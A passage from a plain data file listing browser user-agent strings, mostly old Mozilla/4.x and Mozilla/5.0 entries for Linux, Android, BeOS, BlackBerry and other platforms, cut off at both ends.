(X11; U; Linux 2.4.7-10 i686)\nMozilla/4.78 [en] (X11; U; Linux 2.4.9-21 i686)\nMozilla/4.78 [en] (X11; U; Linux 2.4.9-34smp i686)\nMozilla/4.78 [en] (X11; U; SunOS 5.7 sun4u)\nMozilla/4.78 [en] (X11; U; SunOS 5.8 sun4u)\nMozilla/4.78 [en] (X11; U; SunOS 5.8 sun4u; Nav)\nMozilla/4.78 [en] (X11; U; SunOS 5.9 sun4u)\nMozilla/4.78 [es] (Win98; U)\nMozilla/4.78 [es] (Windows NT 5.0; U)\nMozilla/4.78 [fr] (Win95; U)\nMozilla/4.78 [fr] (Win98; U)\nMozilla/4.78 [fr] (WinNT; U)\nMozilla/4.78 [fr] (Windows NT 5.0; U)\nMozilla/4.78 [fr] (X11; U; Linux 2.4.18-14 i686)\nMozilla/4.78 [fr] (X11; U; Linux 2.4.7-10 i686)\nMozilla/4.78 [fr] (X11; U; Linux 2.4.7-10.2 i686)\nMozilla/4.78 [fr] (X11; U; Linux 2.4.8-26mdk i686)\nMozilla/4.78 [ja] (Windows NT 5.0; U)\nMozilla/4.79 (Macintosh; U; PPC)\nMozilla/4.79 [de] (X11; U; Linux 2.4.18-4GB i686)\nMozilla/4.79 [de] (X11; U; Linux 2.4.18-64GB-SMP i686)\nMozilla/4.79 [en] (Win95; U)\nMozilla/4.79 [en] (Win98; U)\nMozilla/4.79 [en] (WinNT; U)\nMozilla/4.79 [en] (Windows NT 5.0; U)\nMozilla/4.79 [en] (X11; U; Linux 2.2.12-32 i686)\nMozilla/4.79 [en] (X11; U; Linux 2.2.19-6.2.16 i686)\nMozilla/4.79 [en] (X11; U; Linux 2.4.16-4GB-SMP i686)\nMozilla/4.79 [en] (X11; U; Linux 2.4.18-10 i686)\nMozilla/4.79 [en] (X11; U; Linux 2.4.18-27.7.xsmp i686)\nMozilla/4.79 [en] (X11; U; Linux 2.4.18-3 i686)\nMozilla/4.79 [en] (X11; U; Linux 2.4.18-5 i686)\nMozilla/4.79 [en] (X11; U; Linux 2.4.18-5smp i686)\nMozilla/4.79 [en] (X11; U; Linux 2.4.2 i386)\nMozilla/4.79 [en] (X11; U; Linux 2.4.20-4GB i586)\nMozilla/4.79 [en] (X11; U; Linux 2.4.21-pre5 i686)\nMozilla/4.79 [en] (X11; U; SunOS 5.10 i86pc)\nMozilla/4.79 [en] (X11; U; SunOS 5.6 sun4u)\nMozilla/4.79 [en] (X11; U; SunOS 5.7 sun4u)\nMozilla/4.79 [en] (X11; U; SunOS 5.8 sun4u)\nMozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.79 [fr] (X11; U; Linux 2.4.18-24.7.xcustom i686)\nMozilla/4.79 [fr] (X11; U; Linux 2.4.18-27.7.xcustom i686)\nMozilla/4.79 [fr] (X11; U; Linux 2.4.18-4 i686)\nMozilla/4.79C-SGI [en] (X11; I; IRIX64 6.5 IP28)\nMozilla/4.79C-SGI [en] (X11; I; IRIX64 6.5 IP30)\nMozilla/4.7C-SGI [en] (X11; I; IRIX 6.5 IP32)\nMozilla/4.8 (Macintosh; U; PPC)\nMozilla/4.8 [de] (Windows NT 5.1; U)\nMozilla/4.8 [de] (Windows NT 6.0; U; de)\nMozilla/4.8 [de] (X11; U; Linux 2.4.19-4GB i686)\nMozilla/4.8 [de] (X11; U; Linux 2.4.20-4GB i686)\nMozilla/4.8 [en-US] (Windows NT 6.0; U)\nMozilla/4.8 [en] (FreeBSD; U)\nMozilla/4.8 [en] (Linux; U)\nMozilla/4.8 [en] (Win98; U)\nMozilla/4.8 [en] (WinNT; U)\nMozilla/4.8 [en] (Windows NT 5.0; U)\nMozilla/4.8 [en] (Windows NT 5.1; U)\nMozilla/4.8 [en] (Windows NT 6.0; U)\nMozilla/4.8 [en] (Windows NT 6.0; U) Paros/3.2.13\nMozilla/4.8 [en] (Windows NT 6.0; en-US; U)\nMozilla/4.8 [en] (X11; U; HP-UX B.11.00 9000/785)\nMozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)\nMozilla/4.8 [en] (X11; U; Linux 2.4.20-4GB-athlon i686)\nMozilla/4.8 [en] (X11; U; Linux 2.6.12-1.1372_FC3 i686; Nav)\nMozilla/4.8 [en] (X11; U; SunOS 5.8 sun4m; Nav)\nMozilla/4.8 [en] (X11; U; SunOS 5.8 sun4u)\nMozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)\nMozilla/4.8 [es] (Windows NT 5.1; U)\nMozilla/4.8 [nl] (Windows NT 6.0; U)\nMozilla/4.8 [pl] (Windows NT 5.1; U)\nMozilla/4.8C-SGI [en] (X11; U; IRIX64 6.5 IP27)\nMozilla/45.0 (compatible; MSIE 6.0; Windows NT 5.1)\nMozilla/5.0\nMozilla/5.0  (Windows; U;  Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8)\nMozilla/5.0  (X11; U; Linux x86_64; ru; rv:1.9.0.2) Gecko/2008092702 Gentoo Firefox/3.0.2\nMozilla/5.0 ( ; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\nMozilla/5.0 ( en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (+http://www.eurekster.com/mammoth) Mammoth/0.1\nMozilla/5.0 (+http://www.sli-systems.com/) Mammoth/0.1\nMozilla/5.0 (Amiga; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15\nMozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Android 2.2.2; Linux; Opera Mobi/ADR-1103311355; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00\nMozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Android 2.2; zh-cn; HTC Desire)/GoBrowser\nMozilla/5.0 (Android 4.2; rv:19.0) Gecko/20121129 Firefox/19.0\nMozilla/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0\nMozilla/5.0 (Android) Gecko Firefox Fennec/4.0\nMozilla/5.0 (Android) Gecko/20110318 Firefox/4.0 Fennec/4.0\nMozilla/5.0 (Android; Linux arm71; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (Android; Linux arm7l; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (Android; Linux armv71; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (Android; Linux armv71; rv:5.0) Gecko/20110615 Fennec/5.0\nMozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1\nMozilla/5.0 (Android; Linux armv7l; rv:2.0) Gecko/20110103 Firefox/4.0 Fennec/4.0\nMozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Fennec/2.0.1\nMozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMozilla/5.0 (Android; Linux armv7l; rv:2.0b9pre) Gecko/20110103 Firefox/4.0b9pre Fennec/4.0b4pre\nMozilla/5.0 (Android; Linux armv7l; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (Android; Linux armv7l; rv:2.1.1) Gecko/20110415 Fennec/4.0.1\nMozilla/5.0 (Android; Linux armv7l; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (Android; Linux armv7l; rv:2.2a1pre) Gecko/20110402 Firefox/4.2a1pre Fennec/4.1a1pre\nMozilla/5.0 (Android; Linux armv7l; rv:2.2a1pre) Gecko/20110403 Firefox/4.2a1pre Fennec/4.1a1pre\nMozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0\nMozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110614 Firefox/5.0 Fennec/5.0\nMozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0\nMozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0\nMozilla/5.0 (Android; Linux armv7l;rv:5.0) Gecko/20110603 Firefox/5.0 Fennec/5.0\nMozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0\nMozilla/5.0 (Android; U; Android; pl; rv:1.9.2.8) Gecko/20100202 Firefox/3.5.8\nMozilla/5.0 (Android; WOW64; Linux armv7l;rv:5.0) Gecko/20110603 Firefox/5.0 Fennec/5.0\nMozilla/5.0 (BB10; Touch) AppleWebKit/537.10+ (KHTML, like Gecko) Version/10.1.0.2342 Mobile Safari/537.10+\nMozilla/5.0 (BeOS; U; BeOS BeBox; fr; rv:1.9) Gecko/2008052906 BonEcho/2.0\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.1) Gecko/20061220 BonEcho/2.0.0.1\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.10) Gecko/20071128 BonEcho/2.0.0.10\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.6) Gecko/20070731 BonEcho/2.0.0.6\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.7) Gecko/20070917 BonEcho/2.0.0.7\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1b2) Gecko/20060901 Firefox/2.0b2\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1b2) Gecko/20070804 Firefox/2.0.0.6\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1\nMozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a\nMozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.10pre) Gecko/20080112 SeaMonkey/1.1.7pre\nMozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.14) Gecko/20080429 BonEcho/2.0.0.14\nMozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17\nMozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.18) Gecko/20081114 BonEcho/2.0.0.18\nMozilla/5.0 (BeOS; U; Haiku BePC; en-US; rv:1.8.1.21pre) Gecko/20090218 BonEcho/2.0.0.21pre\nMozilla/5.0 (BlackBerry; U; BlackBerry 9300; en) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.570 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9300; es) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.668 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9300; it) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.418 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9300; it) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.666 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9330; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9360; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.530 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9360; it) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.336 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9380; en-GB) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.117 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9700; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.380 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9700; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.546 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9700; pt) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.546 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1  (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.448 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-GB) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko)\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.201 Mobile Safari/534.1+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.446 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.448 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.466 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.701 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; fr) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; it) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.668 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; tr) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; zh-TW) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9800; zh-TW) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.448 Mobile Safari/534.8+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9860; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+\nMozilla/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.267 Mobile Safari/534.11+\nMozilla/5.0 (Clustered-Search-Bot/1.0; support@clush.com; http://www.clush.com/)\nMozilla/5.0 (Darwin; FreeBSD 5.6; en-GB; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0\nMozilla/5.0 (Darwin; FreeBSD 5.6; en-GB; rv:1.9.1b3pre)Gecko/20081211 K-Meleon/1.5.2\nMozilla/5.0 (Future Star Technologies Corp.; Star-Blade OS; x86_64; U; en-US) iNet Browser 4.7\nMozilla/5.0 (Gecko/20070310 Mozshot/0.0.20070628; http://mozshot.nemui.org/)\nMozilla/5.0 (Linux 2.4.18-18.7.x i686; U) Opera 6.03  [en]\nMozilla/5.0 (Linux 2.4.18-ltsp-1 i686; U) Opera 6.1  [en]\nMozilla/5.0 (Linux 2.4.19-16mdk i686; U) Opera 6.11  [en]\nMozilla/5.0 (Linux 2.4.21-0.13mdk i686; U) Opera 7.11  [en]\nMozilla/5.0 (Linux U; en-US)  AppleWebKit/528.5  (KHTML, like Gecko, Safari/528.5 ) Version/4.0 Kindle/3.0 (screen 600x800; rotate)\nMozilla/5.0 (Linux X86; U; Debian SID; it; rv:1.9.0.1) Gecko/2008070208 Debian IceWeasel/3.0.1\nMozilla/5.0 (Linux arm) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (Linux armv6l; Maemo; Opera Mobi/8; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00\nMozilla/5.0 (Linux armv7l; Maemo; Opera Mobi/4; U; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.1\nMozilla/5.0 (Linux i686 ; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.70\nMozilla/5.0 (Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0\nMozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51\nMozilla/5.0 (Linux i686; de-AT; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (Linux) Gecko Iceweasel (Debian) Mnenhy\nMozilla/5.0 (Linux) Gecko/20061122 Firefox/2.0\nMozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36\nMozilla/5.0 (Linux; Android 4.1.2; SHV-E250S Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 4.3; SPH-L710 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.99 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 4.4.2; LG-V410 Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Safari/537.36\nMozilla/5.0 (Linux; Android 4.4.2; LGMS323 Build/KOT49I.MS32310b) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-G900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-T537A Build/KOT49H) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.141 Safari/537.36\nMozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Safari/537.36\nMozilla/5.0 (Linux; Android 4.4.4; Nexus 7 Build/KTU84P) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.135 Safari/537.36\nMozilla/5.0 (Linux; Android 4.4.4; XT1032 Build/KXB21.14-L1.61) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/BuildID) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 5.0.1; SCH-R970 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Safari/537.36\nMozilla/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524\nMozilla/5.0 (Linux; Android 5.1; C6740N Build/LMY47O) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0.1; SM-G900H Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0; LG-D850 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.97 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 6.0; Nexus 5X Build/MDB08L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.0; LG-H918 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.0; LGL84VL Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.0; LGUS997 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.0; Moto G (5) Plus Build/NPNS25.137-35-5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.0; Nexus 9 Build/NRD90R) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Safari/537.36\nMozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G925R6 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.1.1; BBB100-1 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.1.1; Coolpad 3632A Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.1.1; XT1710-02 Build/NDS26.74-36) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.1.2; Nexus 6P Build/N2G48C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 7.1.2; Pixel Build/NHG47N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36\nMozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\nMozilla/5.0 (Linux; U) Opera 6.02  [en]\nMozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522  (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\nMozilla/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\nMozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/PLAT-RC33) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 FirePHP/0.3\nMozilla/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build/CRB43) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari 525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.5; fr-fr; GT-I5700 Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; ar-us; SonyEricssonX10i Build/R2BA026) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build/R1AA056) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; zh-cn; HTC Magic Build/DRC83) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; zh-cn; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 1.6; zh-tw; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nMozilla/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build/SHOLS_U2_01.14.0) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; da-dk; HTC Legend Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; es-mx; SonyEricssonE10a Build/2.0.A.0.504) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; ja-jp; SonyEricssonSO-01B Build/2.0.1.B.0.19) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC Desire 1.15.161.4 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC Hero Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\nMozilla/5.0 (Linux; U; Android 2.1-update1; zh-cn; HTC_Aria_A6380 